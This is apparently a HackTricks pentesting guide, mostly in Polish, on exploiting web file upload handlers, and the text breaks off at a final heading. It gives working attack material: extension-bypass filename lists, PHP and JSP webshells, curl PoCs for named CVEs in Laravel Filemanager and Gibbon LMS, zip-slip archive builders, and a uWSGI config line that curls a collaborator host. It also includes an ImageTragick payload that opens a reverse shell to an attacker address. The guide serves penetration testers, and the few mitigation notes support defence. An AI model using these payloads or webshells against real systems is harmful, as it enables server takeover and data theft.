Przesyłanie plików

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ogólna metodologia przesyłania plików

Inne przydatne rozszerzenia:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Omijanie kontroli rozszerzeń plików

  1. Jeśli mają zastosowanie, sprawdź powyzsze rozszerzenia. Testuj je także używając wielkich liter: pHp, .pHP5, .PhAr …
  2. Sprawdź dodanie poprawnego rozszerzenia przed rozszerzeniem wykonawczym (użyj także poprzednich rozszerzeń):
  • file.png.php
  • file.png.Php5
  1. Spróbuj dodać znaki specjalne na końcu. Możesz użyć Burp do bruteforce wszystkich znaków ascii i Unicode. (Uwaga: możesz też spróbować użyć wcześniej wymienionych rozszerzeń)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Spróbuj obejść zabezpieczenia, oszukując parser rozszerzeń po stronie serwera technikami takimi jak podwajanie rozszerzenia lub dodawanie śmieciowych danych (null bytes) między rozszerzeniami. Możesz też użyć wcześniej wymienionych rozszerzeń, aby przygotować lepszy payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Dodaj kolejną warstwę rozszerzeń do poprzedniej kontroli:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Spróbuj umieścić rozszerzenie wykonawcze przed poprawnym rozszerzeniem i miej nadzieję, że serwer jest źle skonfigurowany. (użyteczne do wykorzystania błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem** .php, ale niekoniecznie kończące się na .php** będzie wykonywać kod):
  • ex: file.php.png
  1. Użycie NTFS alternate data stream (ADS) w Windows. W takim przypadku znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie na serwerze zostanie utworzony pusty plik z zabronionym rozszerzeniem (np. “file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, takimi jak użycie jego short filename. Wzorzec “::$data” może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
  2. Spróbuj przełamać limity długości nazwy pliku. Poprawne rozszerzenie zostaje obcięte. A złośliwe PHP zostaje: AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Niektóre upload handlery obcinają lub normalizują końcowe kropki w zapisanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 można obejść walidację rozszerzeń poprzez:

  • Użycie poprawnego MIME obrazu i magic header (np. PNG’s \x89PNG\r\n\x1a\n).
  • Nazwanie przesyłanego pliku z rozszerzeniem PHP, po którym następuje kropka, np. shell.php..
  • Serwer usuwa końcową kropkę i zapisuje shell.php, który wykona się, jeśli zostanie umieszczony w katalogu udostępnionym przez web (domyślnie public storage, np. /storage/files/).

Minimalny PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Następnie odwiedź zapisany path (typowe w Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Omijanie Content-Type, Magic Number, kompresji i zmiany rozmiaru

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won’t be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
  • Github with the code
  • The web page cold also be resizing the image, using for example the PHP-GD functions imagecopyresized or imagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression.
  • Github with the code
  • Another technique to make a payload that survives an image resizing, using the PHP-GD function thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.
  • Github with the code

Other Tricks to check

  • Find a vulnerability to rename the file already uploaded (to change the extension).
  • Find a Local File Inclusion vulnerability to execute the backdoor.
  • Possible Information disclosure:
  1. Upload several times (and at the same time) the same file with the same name
  2. Upload a file with the name of a file or folder that already exists
  3. Uploading a file with “.” , “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called uploads” in the “/www/” directory.
  4. Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
  5. Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)
  6. Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Wykonanie payloadu następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub w wyniku ataku Denial of Service) albo plik musi mieć włączone auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.

Kluczowe jest zrozumienie luźnego charakteru parsowania plików konfiguracyjnych uWSGI. Konkretnie, omawiany payload może zostać wstawiony do pliku binarnego (np. obrazu lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Nieautoryzowany endpoint w Gibbon LMS pozwala na dowolny zapis pliku wewnątrz web root, prowadząc do pre-auth RCE przez umieszczenie pliku PHP. Wersje podatne: do i włącznie 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Wymagane parametry:
  • img: ciąg podobny do data-URI: [mime];[name],[base64] (serwer ignoruje type/name, dekoduje base64 końcówkę)
  • path: nazwa pliku docelowego względem katalogu instalacyjnego Gibbon (np. poc.php lub 0xdf.php)
  • gibbonPersonID: dowolna niepusta wartość jest akceptowana (np. 0000000001)

Minimalny PoC do zapisania i odczytania pliku:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Wrzuć minimalny webshell i wykonaj polecenia:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Uwagi:

  • Handler wykonuje base64_decode($_POST["img"]) po rozdzieleniu po ; i ,, a następnie zapisuje bajty do $absolutePath . '/' . $_POST['path'] bez weryfikacji rozszerzenia/typu.
  • Wynikowy kod uruchamia się jako użytkownik usługi webowej (np. XAMPP Apache on Windows).

Referencje dla tego błędu obejmują usd HeroLab advisory oraz wpis w NVD. Zobacz sekcję References poniżej.

wget File Upload/SSRF Trick

W niektórych przypadkach możesz stwierdzić, że serwer używa wget do pobierania plików i możesz wskazać URL. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby upewnić się, że pobierane są tylko dozwolone pliki. Jednakże, to sprawdzenie można obejść.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called “A”*232+“.php”+“.gif”, this filename will bypass the check (as in this example “.gif” is a valid extension) but wget will rename the file to “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Zwróć uwagę, że inną opcją, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, by serwer HTTP przekierowywał do innego pliku, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To nie zadziała chyba że wget jest używany z parametrem --trust-server-names, ponieważ wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL.

Ominięcie katalogu uploadu za pomocą NTFS junctions (Windows)

(Do tego ataku będziesz potrzebować lokalnego dostępu do maszyny Windows) Gdy uploady są przechowywane w podkatalogach przypisanych do użytkownika na Windows (np. C:\Windows\Tasks\Uploads<id>) i masz kontrolę nad tworzeniem/usuwaniem tego podfolderu, możesz zastąpić go junctionem katalogu wskazującym na wrażliwą lokalizację (np. webroot). Kolejne uploady zostaną zapisane w docelowej ścieżce, co umożliwi wykonanie kodu, jeśli cel interpretuje kod po stronie serwera.

Przykładowy przebieg przekierowania uploadów do XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Uwagi

  • mklink /J creates an NTFS directory junction (reparse point). Konto serwera WWW musi podążać za junction i mieć uprawnienia zapisu w lokalizacji docelowej.
  • This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
  • Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.

Wysyłanie ciała skompresowanego GZIP + path traversal w parametrze destination → JSP webshell RCE (Tomcat)

Niektóre upload/ingest handlers zapisują surowe ciało żądania do ścieżki w systemie plików, która jest skonstruowana z parametrów zapytania kontrolowanych przez użytkownika. Jeśli handler obsługuje Content-Encoding: gzip i nie kanonizuje/waliduje ścieżki destination, możesz połączyć directory traversal z gzipped payload, aby zapisać dowolne bajty w katalogu serwowanym przez web i uzyskać RCE (np. umieścić JSP w webapps Tomcata).

Ogólny przebieg eksploatacji:

  • Przygotuj payload po stronie serwera (np. minimalny JSP webshell) i skompresuj bajty gzip-em.
  • Wyślij POST, w którym parametr ścieżki (np. token) zawiera traversal wychodzący poza zamierzony katalog, a file wskazuje nazwę pliku do zapisania. Ustaw Content-Type: application/octet-stream i Content-Encoding: gzip; ciało żądania to skompresowany payload.
  • Odwiedź zapisany plik, aby wywołać wykonanie.

Przykładowe żądanie:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Następnie wywołaj:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Uwagi

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
  • Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
  • This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing.

Mitigacje

  • Derive upload destinations server-side; never trust path fragments from clients.
  • Canonicalize and enforce that the resolved path stays within an allow-listed base directory.
  • Store uploads on a non-executable volume and deny script execution from writable paths.

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Axis2-based upload services sometimes expose an uploadFile SOAP action that takes three attacker-controlled fields: jobDirectory (destination directory), archiveName (filename), and dataHandler (base64 file content). If jobDirectory is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.

Minimal request outline (default creds often work: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • Bindings są często dostępne tylko z localhost; połącz to z full-read SSRF (absolute-URL request line, Host header ignored), aby dotrzeć do 127.0.0.1, jeśli port Axis2 nie jest wystawiony.
  • Po zapisaniu przejdź do /trufusionPortal/jsp/shell.jsp?cmd=id, aby wykonać polecenie.

Tools

  • Upload Bypass to potężne narzędzie zaprojektowane, aby wspierać Pentesters i Bug Hunters w testowaniu file upload mechanisms. Wykorzystuje różne bug bounty techniques, aby uprościć proces identyfikacji i eksploatacji podatności, zapewniając dokładne oceny aplikacji webowych.

Corrupting upload indices with snprintf quirks (historical)

Niektóre przestarzałe upload handlers, które używają snprintf() lub podobnych do budowania multi-file arrays z single-file upload, można oszukać, by sfałszować strukturę _FILES. Z powodu niespójności i obcinania w zachowaniu snprintf(), starannie spreparowany pojedynczy upload może pojawić się po stronie serwera jako wiele plików z indeksami, myląc logikę, która zakłada ściśle określony kształt (np. traktując to jako multi-file upload i wybierając niebezpieczne ścieżki). Choć dziś to nisza, ten wzorzec „index corruption” okazjonalnie pojawia się w CTFach i starszych bazach kodu.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Odniesienie: https://en.wikipedia.org/wiki/List_of_file_signatures dla innych typów plików.

Zip/Tar File Automatically decompressed Upload

Jeśli możesz uploadować ZIP, który zostanie rozpakowany po stronie serwera, możesz zrobić 2 rzeczy:

Prześlij archiwum zawierające soft links do innych plików; po dostępie do rozpakowanych plików uzyskasz dostęp do plików wskazywanych przez te linki:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Dekompresja do różnych folderów

Niespodziewane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Pomimo początkowych założeń, że takie rozwiązanie może chronić przed OS-level command execution poprzez złośliwe przesyłanie plików, obsługa hierarchicznej kompresji i możliwości directory traversal w formacie archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z bezpiecznych katalogów przechowywania przesyłanych plików, manipulując mechanizmem dekompresji atakowanej aplikacji.

An automated exploit to craft such files is available at evilarc on GitHub. Narzędzie można użyć w następujący sposób:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Dodatkowo dostępna jest opcja symlink trick with evilarc. Jeśli celem jest plik taki jak /flag.txt, powinieneś utworzyć w systemie symlink wskazujący na ten plik. Dzięki temu evilarc nie napotka błędów podczas działania.

Poniżej znajduje się przykład kodu w Pythonie używanego do stworzenia złośliwego pliku zip:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Wykorzystywanie kompresji do file spraying

Aby uzyskać więcej szczegółów, zobacz oryginalny wpis na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Tworzenie PHP Shell: Kod PHP wykonujący polecenia przekazywane przez zmienną $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Tworzy się wiele plików i pakuje je do archiwum zip zawierającego te pliki.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Nazwy plików wewnątrz zipa są zmieniane za pomocą vi lub edytora heksadecymalnego, zastępując “xxA” na “../”, aby przemieścić się po katalogach.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Gdy backend waliduje wpisy ZIP przy użyciu PHP-owego ZipArchive, ale ekstrakcja zapisuje pliki na dysku używając surowych nazw, można przemycić niedozwolone rozszerzenie, wstawiając NUL (0x00) w pola nazwy pliku. ZipArchive traktuje nazwę wpisu jako C‑string i obcina ją przy pierwszym NUL; system plików zapisuje pełną nazwę, ignorując wszystko po NUL.

High-level flow:

  • Przygotuj legalny plik kontenerowy (np. ważny PDF), który zawiera mały PHP stub w strumieniu, tak aby magic/MIME pozostało PDF.
  • Nazwij go np. shell.php..pdf, spakuj do zip, a następnie edytuj heksadecymalnie lokalny nagłówek ZIP i wpis w centralnym katalogu, zastępując pierwszy . po .php wartością 0x00, co da shell.php\x00.pdf.
  • Walidatory opierające się na ZipArchive „zobaczą” shell.php .pdf i pozwolą na to; ekstraktor zapisze shell.php na dysku, co prowadzi do RCE jeśli folder uploadu jest wykonywalny.

Minimalne kroki PoC:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Uwagi

  • Change BOTH filename occurrences (local and central directory). Some tools add an extra data descriptor entry too – adjust all name fields if present.
  • Plik payload musi nadal przejść server‑side magic/MIME sniffing. Osadzenie PHP w strumieniu PDF utrzymuje nagłówek ważnym.
  • Działa tam, gdzie ścieżka enum/validation i ścieżka extraction/write nie zgadzają się co do string handling.

Stacked/concatenated ZIPs (niezgodność parserów)

Połączenie dwóch prawidłowych plików ZIP tworzy blob, w którym różne parsery skupiają się na różnych rekordach EOCD. Wiele narzędzi lokalizuje ostatni End Of Central Directory (EOCD), podczas gdy niektóre biblioteki (np. ZipArchive w określonych workflow) mogą parsować pierwsze napotkane archiwum. Jeśli walidacja enumeruje pierwsze archiwum, a ekstrakcja używa innego narzędzia, które uwzględnia ostatni EOCD, nieszkodliwe archiwum może przejść kontrole, podczas gdy złośliwe zostanie wypakowane.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Wzorzec nadużycia

  • Utwórz nieszkodliwe archiwum (dozwolony typ, np. PDF) i drugie archiwum zawierające zablokowane rozszerzenie (np. shell.php).
  • Połącz je: cat benign.zip evil.zip > combined.zip.
  • Jeśli serwer waliduje przy użyciu jednego parsera (widzi benign.zip), ale rozpakowuje przy użyciu innego (przetwarza evil.zip), zablokowany plik trafia do ścieżki ekstrakcji.

ImageTragic

Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność (ImageMagick , 7.0.1-1) (z exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Osadzanie PHP shell w PNG

Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje imagecopyresized i imagecopyresampled z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i resamplingu obrazów. Zdolność osadzonego PHP shell do pozostawania niezmienionym przez te operacje jest istotną przewagą w niektórych scenariuszach.

Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: “Encoding Web Shells in PNG IDAT chunks”. To źródło daje kompleksowe zrozumienie procesu i jego implikacji.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Pliki polyglot

Pliki polyglot pełnią unikalną rolę w cybersecurity, działając jak kameleony, które mogą prawidłowo istnieć w kilku formatach plików jednocześnie. Intrygującym przykładem jest GIFAR, hybryda działająca zarówno jako GIF, jak i RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS czy PPT i JS.

Główna użyteczność plików polyglot polega na ich zdolności do obchodzenia zabezpieczeń filtrujących pliki według typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików przy uploadzie — np. JPEG, GIF czy DOC — aby zredukować ryzyko potencjalnie niebezpiecznych formatów (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów naraz, może potajemnie obejść te ograniczenia.

Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, powodzenie uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system rygorystycznie sprawdza dozwolone rozszerzenia, sama strukturalna dwoistość polyglota może nie wystarczyć, by zagwarantować jego upload.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Wgrywanie prawidłowych JSON-ów jakby to był PDF

